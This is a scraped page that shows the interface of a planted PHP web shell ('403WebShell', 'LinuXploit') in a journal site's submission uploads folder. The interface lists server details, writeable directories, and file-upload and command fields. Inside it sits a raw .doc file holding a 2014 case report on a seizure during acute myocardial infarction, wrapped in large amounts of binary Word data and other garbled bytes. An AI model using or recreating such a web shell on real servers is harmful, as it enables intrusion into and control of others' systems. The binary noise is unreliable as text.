DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN��ĕ��0 !01@Q"2AaPq3BR������?���@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j�ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^���ԯ̾9Z��F��������n��1��� ��]�[��)�'������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0��;_��3 !01"@AQa2Pq#3BR������?��ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6����������4B>��o��](��$B���m�����a�!=��?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a�84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b��$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7��k�� 403WebShell
403Webshell
Server IP : 172.67.215.126  /  Your IP : 172.69.214.218
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-172-31-19-221 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.1.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /efsdata/scitechnol.com/httpdocs/submission/uploads/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /efsdata/scitechnol.com/httpdocs/submission/uploads/1756-0-Manuscript-2014-03-25.doc
��ࡱ�>��	XZ����W�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������)`	���,bjbj�U�U
4V�?�?�$���������������TTTT���6 $����������$Z!h�#������������������������������pe���T�r��, 06 �r$%�r$�r$��������3l�"���������6 �������$�������������������SEIZURE IN THE SCENARIO OF AN ACUTE MYOCARDIAL INFARCTION: A CASE REPORT.
Authors:
Juan Casanova MD1, Isaac Pascual MD, PhD1*, Alejandro Quilez MD2, Cristina Moreno MD1, Rosario Ortas MD1, Francisco Purroy MD, PhD2, Fernando Worner MD, PhD1.
1 Cardiology Department. University Hospital of Lleida. Lleida. Spain.
2 Neurology Department. University Hospital of Lleida. Lleida. Spain.

*Corresponding author.
Isaac Pascual, MD, PhD.
Cardiology Department.
University Hospital of Lleida.
C/ Rovira Roure 80. 25198. Lleida. Spain.
 HYPERLINK "mailto:ipascualcalleja@yahoo.es" ipascualcalleja@yahoo.es

The manuscript contains 1359  words.
Conflict of interest.
Juan Casanova has no financial conflict of interest or financial disclosure to declare.
Isaac Pascual has no financial conflict of interest or financial disclosure to declare.
Alejandro Quilez has no financial conflict of interest or financial disclosure to declare.
Cristina Moreno has no financial conflict of interest or financial disclosure to declare.
Rosario Ortas has no financial conflict of interest or financial disclosure to declare.
Francisco Purroy has no financial conflict of interest or financial disclosure to declare.
Fernando Worner has no financial conflict of interest or financial disclosure to declare.
ABSTRACT
Importance. Relationship between acute ischemic heart disease and epilepsy is a controversial issue and it is still a subject of concern. Among the precipitating causes of seizures in patients with epilepsy, the stress might be relevant increasing its frequency.  
Observation. We report the presentation and posterior evolution of a medium-age man with an acute coronary syndrome which might be the trigger factor for the development of an epileptic seizure. We showed sequential exclusion of main causes of seizure which could be involved in this scenario.
Conclusion & Relevance. Seizures in the scenario of an acute coronary syndrome could be related to many different causes. We have to beard in mind epileptic disorder  triggered by emotional stress when other more frequent causes are ruled out. 
SEIZURE IN THE SCENARIO OF AN ACUTE MYOCARDIAL INFARCTION: A CASE REPORT.

INTRODUCTION
Relationship between acute ischemic heart disease and epilepsy is a controversial issue. 
No definitive association between both pathologies has been described, despite many papers have suggested it 1, 2. There are several descriptions about the effect of epileptic seizure as a trigger of acute cardiac events. On the other hand, the stress related to an acute coronary syndrome may contribute to develop an epileptic seizure. We report a case that could support this association.
CASE PRESENTATION
We present a 52 year old man with familiar history of early ischemic cardiovascular disease and personal history of bronchial asthma on bronchodilator therapy. He was referred to our institution with an acute lateral and inferior myocardial infarction (AMI) with stable hemodynamic situation.
An emergent coronary angiogram was performed and it showed an occluded distal left circumflex artery (LCX) (Figure 1A). Sodium heparin (70 UI/kg), acetylsalicylic acid 250 mg, 75 mg clopidogrel and an intracoronary bolus of abciximab (17,5 mg) were administered before percutaneous coronary intervention (PCI). Two minutes after, he acutely developed a generalized tonic-clonic seizure accompanied of decreased level of consciousness and desaturation that were solved with sedation with midazolam and mechanical ventilation.
Immediately following PCI with a bare metal stent implantation in distal LCX was performed (figure 1B). Initial suspicion was intracranial bleeding in relation with antiplatelet and anticoagulant drugs, but cranial computed tomography (CT) ruled out intracranial hemorrhagic complication. 
During the following four hours, there were no more seizures, hemodynamic parameters keep stable, sedative drugs and mechanical ventilation could be removed. After sedative treatment his neurological physical examination was normal.
In order to complete the evaluation of epileptic seizure, brain magnetic resonance (MRI) was performed 24 hours after the seizure. It was normal except two hyperintense lesions on T2/FLAIR without any restriction on DWI, situated at white matter of both semi-oval centers, with probable chronic ischemic etiology (figures 2A and 2B). 
Electroencephalogram was also carried out 7 days after the event and it showed bursts of acute waves in frontal areas of both cerebral hemispheres (figure 3).
Initial treatment with oxcarbazepine was planned, and the patient experimented favorable evolution. After two years of follow up he had not new epileptic events.
DISCUSSION
This case report combines three situations: the presence of an AMI, the performance of a percutaneous coronary intervention with administration of antiplatelet and anticoagulant therapy and the presentation of a convulsive epileptic seizure during the procedure.
Incidence of neurologic complications related to interventional cardiology procedures ranges from 0.01 to 0.4%. It often is due by embolic etiology and the most common related clinical situations are cerebrovascular disease and neuro-ophthalmic syndromes3.
Besides, the increased hemorrhagic risk regarding the antithrombotic therapy used in coronary interventions should be considered. Platelet IIb/IIIa inhibitors, like abciximab, are widely used for PCI in the treatment of AMI. These drugs increase the risk of hemorrhagic complications, mainly when they are used in association with heparin4,5.
In our case, the first pathology to exclude an intracranial hemorrhage related to heparin and triple antiplatelet therapy (acetylsalicylic acid, clopidogrel and abciximab) as the main origin of the seizure. This situation has been widely reported in the literature but it was ruled out by the CT.
Other classic precipitating factors, like toxics, sleeping deprivation, fever and metabolic disorders were also ruled out. Moreover, chronic ischemic lesions shown on MRI are an unlikely cause of epilepsy due to its location in the white matter.
The association between epilepsy and myocardial affection, including AMI, is still a subject of concern. It has been described an increased risk and worst prognosis of an AMI in patients with prior hospitalization for epilepsy, and also the development of the AMI immediately after the convulsive or non convulsive epileptic seizure 1, 6.
Among the precipitating causes of seizures in patients with epilepsy, the stress might be relevant in their increased frequency of seizures. Some studies have showed emotional stress as a subjective precipitating cause of epileptic seizures according to patients 7. Furthermore, in animal models, implication of acute stress is known to modify, increasing or decreasing, seizure susceptibility depending on the induction method 8.
An ongoing debate is still present in this regard. 
The association of iodinated contrast with the apparition of epileptic seizures has been reported in an anecdotal manner. In our case this possibility seems highly unlike because the event happened at the beginning of the procedure, when a poor quantity of contrast (25 cc) had been used.
After a comprehensive evaluation of this case, it seems us that the more probable precipitating cause of the epileptic seizure might be the emotional stress and the adrenergic storm triggered by the AMI. The aim of this case presentation is to point out this consideration as a potential complication in the scenario of an AMI.
Specifically designed studies are needed to try to clarify the relationship between stress situations and epilepsy.
REFERENCES.
1.-Janszky I, Hallqvist J, Tomson T et al. Increased risk and worse prognosis of myocardial infarction in patients with prior hospitalization for epilepsy-The Stockholm Heart Epidemiology Program. Brain 2009: 132; 2798-2804.
2.- Natelson B; Suarez R; Terrence C, Turizo R. Patients with epilepsy who die suddenly have cardiac disease. Arch Neurol. 1998; 55(6):857-860
3.- Werner N,  Bauer T, Hochadel M et al. Incidence and clinical impact of stroke complicating percurtaneus coronary intervention. Circ cardiovasc interv. 2013;6:362-369.
4.- Cheung RT, Ho DS. Fatal hemorrhagic transformation of acute cerebral infarction after the use of abciximab. Stroke. 2000 oct; 31 (10): 2526-7.
5.- Cote AV, Berger PB, Holmes DR Jr, Scott CG, Bell MR. Hemorrhagic and vascular complications after percutaneus coronary intervention with adjunctive abciximab. Mayo clin proc. 2001 sep;76(9):890-6.
6.- Montepietra S, Cattaneo L, Granella F et al. Myocardial infarction following convulsive and nonconvulsive seizures. Seizure 2009 Jun; 18(5): 379-381
7.- Balamurugan E, Aggarwal M, Lamba A, Dang N, Tripathi M. Perceived trigger farctors of seizures in persons with epilepsy. Seizure 2013  Nov; 22(9):743-7
8.- Nikki T. Sawyer and Andrew Escayg. Stress and Epilepsy: Multiple Models, multiple Outcomes. J Clin Neurophysiol 2010; 27: 445-452.
FIGURE LEGENDS.
Figure 1. 1A: Coronary angiogram: thrombotic occlusion of circumflex artery. 1B:  Coronary angiogram after percutaneous intervention.
Figure 2. 2A and 2B: Magnetic resonance with hyperintense lesions in both semioval centers (white arrows). 
Figure 3: Electroencephalogram showing burst acute waves in frontal areas of both cerebral hemispheres.

JScdes{|}���������������)	8	9	:	;	D	o	~		�	�	�	�	

=
>
?
W
X
Z

�
������������������������ûβλû�ûû���������xh��h�5�mH	sH	h�h�0J#�jh�<�h�UmH	sH	jh�UmH	sH	h�h�h�H*mH	sH	h�mH	sH	h�K�h�mH	sH	h�K�h�H*mH	sH		h�H*h�K�h�H*h�h�K�h�h�5�B*mH	phsH	/JS�9		�	�	�	�	�	
Y
Z

�
�
E��R�

?4��������������������������
$d�a$gd�$d�-DM�
����a$gd��,��
�
�
�
�
�
�
!9DUpr|��������"$.FQb}��������




{
|
�
%?IUW������������������������ǻ��ǻǓ�h�5�B*mH	phsH	h�\�h�B*mH	phsH	h*h�mH	sH	h�B*mH	phsH	 h�h�5�B*mH	phsH	h�5�mH	sH	h�c�h�5�mH	sH	h�mH	sH	h|�h�mH	sH	8W�5n~������,.:BGNPST���ŷ�����w�kw\M\M\Ah�#�B*mH	phsH	h0!h$6B*mH	phsH	h0!hpOB*mH	phsH	hpOB*mH	phsH	h0!hpOmH	sH	hB�B*mH	phsH	h�)	B*mH	phsH	 h�uh�u5�B*mH	phsH	h�hB*mH	phsH	h�)	5�B*mH	phsH	h�!5�B*mH	phsH	 h�
�h�
�5�B*mH	phsH	h�B*mH	phsH	h�h�B*mH	phsH	4���o�����
�NY`a���*!�"
#.$�����������������������$
��d�-DM�
����a$gd�u$d�-DM�
����a$gd�u
$d�a$gd�TX[y{~���������/78<CD\dno�����ƺ�����{����������o�`OCh�uh�u5�mH	sH	 h�uh�u5�B*mH	phsH	h1�hX/B*mH	phsH	h�t�B*mH	phsH	hB�B*mH	phsH	hL{�B*mH	phsH	h��B*mH	phsH	h�)	B*mH	phsH	h�)	h�)	B*mH	phsH	h�3�B*mH	phsH	h0!h�3�B*mH	phsH	h0!h�)	B*mH	phsH	h0!hpOB*mH	phsH	h�B�h�#�H*mH	sH	������-.|����������7g������������������ϹĮ���������{�{�pep{�h�
5h�
5mH	sH	h�
5h�@�mH	sH	h�~UmH	sH	hB�mH	sH	h�@�mH	sH	h�3�mH	sH	hz'_h�3�mH	sH	h�xmH	sH	h�
5hz'_mH	sH	h,�hg6�mH	sH	h,�h1�mH	sH	h,�h�xmH	sH	hg6�hg6�mH	sH	hz'_mH	sH	hg6�h��mH	sH	h1�mH	sH	$� &'7JXhnyz�����������Zdw|�����������������������������������ȸ�������������zhChCmH	sH	hCh
tmH	sH	h�EmH	sH	h�4mH	sH	h�;�mH	sH	h1�mH	sH	h�kmH	sH	hX/mH	sH	hz'_mH	sH	hB�mH	sH	h��mH	sH	h
tmH	sH	h�@�mH	sH	hVJ�mH	sH	h�Z�mH	sH	h�amH	sH	+��������������56Fs�������"������Ĺ�שס��������y�qf[�y�[h�
5h�kmH	sH	h�
5h�
5mH	sH	h�
5mH	sH	hr�mH	sH	h�
mH	sH	h�7JmH	sH	hO0�mH	sH	h!~�mH	sH	h�s�mH	sH	h$6mH	sH	h�kmH	sH	hB�h�!mH	sH	h�~UmH	sH	hB�h�amH	sH	h�amH	sH	hCh
tmH	sH	hCh�4mH	sH	hCh�kmH	sH	 "$9?AVWfnz�����������	

,7MSc|�����ʿ�ʴʴ������ʴ����ʓ�����u�u�mb�h1�h?,�mH	sH	h�s�mH	sH	h1�h�JmH	sH	hB�mH	sH	h1�h��mH	sH	h1�h�
5mH	sH	h1�hCmH	sH	h1�h�;mH	sH	h1�h�h�mH	sH	h1�h
tmH	sH	h1�hr�mH	sH	hr�mH	sH	h$6mH	sH	h
tmH	sH	h�h�mH	sH	h�
5h�h�mH	sH	&|}��������?@MNTUYc���BI`bm�����#$(O^�����ǿ��������|�|�t�l�l�l�l������a�h�lvh�EmH	sH	h�s�mH	sH	h�>gmH	sH	h*h�EmH	sH	h�EmH	sH	h��hLs�5�mH	sH	h��h�)	5�mH	sH	h�JmH	sH	h�!mH	sH	h�JmH	sH	h3�mH	sH	h��mH	sH	h�h�mH	sH	h-0�mH	sH	h1�h�EmH	sH	h1�h�
5mH	sH	h1�h�h�mH	sH	&^_avwx��������NV�������������c������������\����������������������������������۸����h*h$�mH	sH	hk#\mH	sH	h��mH	sH	h�~mH	sH	h�B�mH	sH	h[Z�mH	sH	h�n�mH	sH	hB�mH	sH	h$�mH	sH	hz�h�EmH	sH	h�EmH	sH	h�lvh�EmH	sH	h�s�mH	sH	h-0�H*mH	sH	0�! " @ T U X a c k z � � � � � � � � � !#!$!(!)!*!A!I!�!�!�!�!�!������źů����ؔźŧ��{s�kck[k�Sh��mH	sH	h��mH	sH	h�j�mH	sH	h*	�mH	sH	h[Z�mH	sH	h-0�H*mH	sH	h�B�mH	sH	h4mH	sH	hCh�n�mH	sH	h�n�mH	sH	hLs�mH	sH	hLs�hLs�mH	sH	hChCmH	sH	hChLs�mH	sH	h�!mH	sH	h�n�mH	sH	h*h�EmH	sH	h�EmH	sH	h�EB*mH	phsH	 �!""1"2"@"A"D"S"b"p"q"{"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"
###
##T#\#]#t#u#~#�#$$$,$-$.$R$W$�$���������������׼���ש��׼�׎�׎�ששש�{�{h1�h@JmH	sH	h@JmH	sH	h�!mH	sH	h|OlmH	sH	h!G�h�
�mH	sH	h�
�mH	sH	h!G�h!G�mH	sH	h!G�mH	sH	h�j�mH	sH	h!G�h�n�mH	sH	h��mH	sH	h-0�H*mH	sH	h�B�mH	sH	h��mH	sH	h�n�mH	sH	0�$�$�$�$�$�$�$�$�$�$�$u%v%�%�%�%�%�%�%�%�%�%�%�%�%&&&&&&�����������������{of^V^N^N^Nh=]�mH	sH	hB�mH	sH	h@�mH	sH	h0!5�mH	sH	hB�hB�5�mH	sH	hO0�mH	sH	h�B�mH	sH	h#=�mH	sH	h:�mH	sH	h�B�h�4-]�mH	sH	h�B�]�mH	sH	 h�p3h1�h1�6�]�mH	sH	h1�hR�mH	sH	h1�h1�mH	sH	h1�h�xmH	sH	h1�h�5mH	sH	h�p3mH	sH	h1�h!G�mH	sH	.$v%�%�%�&g'(�(n)*�**+;+�+-,�,�,����������������
$d�a$gd�u$d�-DM�
����a$gd�u&&&�&�&�&�&�&�&�&�&�&�&�&'F'Q'S'X'Y'f'g'h'q'u'{'~'�'�'((�(�(�(�(�(�����̿̿�̵֥��x��ph�h�h�hph`hp`h�=�mH	sH	hC�mH	sH	h-0�mH	sH	h��CJaJmH	sH	h-0�h-0�CJaJmH	sH	"h-0�h-0�6�CJ]�aJmH	sH	h-0�h-0�CJ]�aJmH	sH	h�_�0JmH	sH	h�#�h�#�0JmH	sH	h=]�0JmH	sH	h-0�0JmH	sH	h�#�mH	sH	h��mH	sH	h=]�mH	sH	h@�mH	sH	#�(�(n)o)r)�)�)***�*�*�*�*�*�*�*�*(+++9+:+;+D+E+H+^+_+�+�+�+�+�+�+�+�+�+�������������ź��ز����؅}�}�}�}u�l`hB�hB�5�mH	sH	h
~z5�mH	sH	hf)�mH	sH	h��mH	sH	h��h��5�mH	sH	h��h@�5�mH	sH	h�u5�mH	sH	h�uh�u5�mH	sH	hO0�mH	sH	h�y�h@�mH	sH	h�y�h�y�mH	sH	h�y�mH	sH	h@�mH	sH	hB�mH	sH	h-0�mH	sH	h�=�mH	sH	hP9�mH	sH	$�+�+�+�+�+�+,,+,,,5,6,7,8,K,X,Y,e,�,�,�,�,������ǿ�����������vkh-0�h%mH	sH	h<p�h|OlmH	sH	hB�h|OlmH	sH	hB�hB�mH	sH	h1�hB�mH	sH	h|OlmH	sH	h-0�5�mH	sH	hB�hB�5�mH	sH	hB�mH	sH	h��mH	sH	h@�mH	sH	hB�mH	sH	h``�mH	sH	hB�hB�5�mH	sH	hB�h``�5�mH	sH	21�h:p�p��. ��A!��"��#��$��%��������D���y������K�ipascualcalleja@yahoo.es���y������K�Xmailto:ipascualcalleja@yahoo.esyX��;H�,�]ą'c�������������666666666vvvvvvvvv666666>666666666666666666666666666�6666666666�666666666666hH66666666666666666666666666666666666666666666666666666666666666666�6L@�L�)	Normal$CJOJPJQJ_HaJmH
sH
tH
NA@�N
Fuente de p�rrafo predeter.Ri@�R0Tabla normal�4�
l4�a�,k�,
0	Sin listaD�O��D�)	yiv674017197txpeque1^J:�O�:�)	yiv674017197hps^JH'�H�)	0Ref. de comentarioCJ^JaJD@"D�)	0Texto comentarioCJaJF��1F�)	0	 Car Car1CJOJPJQJ^JaJtH
.�O�A.�)	0	highlight^JL�RL
�)	0Texto de globoCJOJQJ^JaJD��aD�)	0 Car CarCJOJPJQJ^JaJtH
Lj!"LdozAsunto del comentario5�\�.�O��.�#�authornames<U`��<�Hiperv�nculo>*B*ph��$V����JS�9�����YZ��E��R�?4���o
�
��
��
�NY`a���*�
.v���g � n!"�"*#;#�#-$�$�$�0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���9Y�E��R���o
��
��
�NY`���*�
.v���g n!"�"*#�#�$�$��00��00�
@0��00���00��@0����0
0���0
0���0
0���0
0���0
0���0
0�ʑ00!ʑ00ʑ00ʑ00����0�ʑ00�ʑ00ʑ00ʑ00ʑ0
0ʑ0
0ʑ0
0ʑ00�ʑ00ʑ00ʑ00ʑ00	ʑ00�ʑ00ʑ00�ʑ00
��ʑ00	�ʑ00ʑ00ʑ00ʑ00ʑ00ʑ00ʑ00�ʑ00�ʑ00�
00�
WT���"|^��!�$&�(�+�, !"#$%&()*4.$�,'�,>W�$X���8�@�����������0�(	�>
	<key>Initials
��B
�S����	?���
���L�#���#�L�#��#��"��#��G���#���#�<�#��L� �$�#22QQ\xx����$	
77[dd}}����$	
9*�urn:schemas-microsoft-com:office:smarttags�place�=
*�urn:schemas-microsoft-com:office:smarttags	�PlaceType�B
*�urn:schemas-microsoft-com:office:smarttags�country-region�X�







JQx|������������"(*0hnpv������
rv��OU\b��\g��

Zf��(7DI��)Yb��������� w � � � � � !!=!F!M!Q!r!}!�!�!�!�!�!�!"""""&"+"7"?"U"]"�"�"#	#
##�#�#�#�#$$�$�
)*1EOQopw������Z~�%?V�������     ( � � � � � `!c!n!q!"
"�"�"�"�";#D#�#�#�$33333333333333333333333333333Z~&��NYS� ( H!�!#)#*#E#�#�#�$rv�$m�i�$64
t�4�x�5�)	�
;9
pO%�;�k}9TU�!�!0!*�4-X/�p3�
5�_6�9C�E�J�7J@J<P�yP�~UvmWk#\z'_�a�?d�>g�h|Ol�p�u�lvdoz
~z�~�J�MB�:�!~�z��=��t�\�O0����h���P9��s���g6�f)��Z��n��
�=]��:��B�!G��;�VJ��@��3����j��B�r�-0�����y�)q�0�,�``�L{�u�?,��_�[Z���J�����@�cD�*	�Ls�1�#=��#�3�$�R�C�S?;#�$aU�@�vv�L;vv�$`@��Unknown������������G��z ��Times New Roman5��Symbol3&��z ��Arial7&���{ @�Calibri5&��za��Tahoma"q����o�Go�G��g���B��B!�������24d�$�$	2�Q���HX)�$P�����������������������)	2��)A COMPLICATED ACUTE MYOCARDIAL INFARCTIONSergio & Cristina	38086341C����Oh��+'��0������	$0
P\h
t�����,A COMPLICATED ACUTE MYOCARDIAL INFARCTIONSergio & CristinaNormal38086341C2Microsoft Office Word@^в@�c�r��@����@����������՜.��+,��D��՜.��+,��d hp��������
���Hewlett-PackardB�$'*A COMPLICATED ACUTE MYOCARDIAL INFARCTIONT�tulo� 8@_PID_HLINKS�AxWx mailto:ipascualcalleja@yahoo.es�
	

 !"#$%&'()*+����-./0123����56789:;<=>?@ABCDEF����HIJKLMN����PQRSTUV��������Y������������������������������������������������������������������������������������������������������������������������������������������������������������Root Entry��������	�FPL!���[�Data
������������,1Table����4r$WordDocument����4VSummaryInformation(������������GDocumentSummaryInformation8��������OCompObj������������r������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
����	�F Documento Microsoft Office Word
MSWordDocWord.Document.8�9�q

Youez - 2016 - github.com/yon3zu
LinuXploit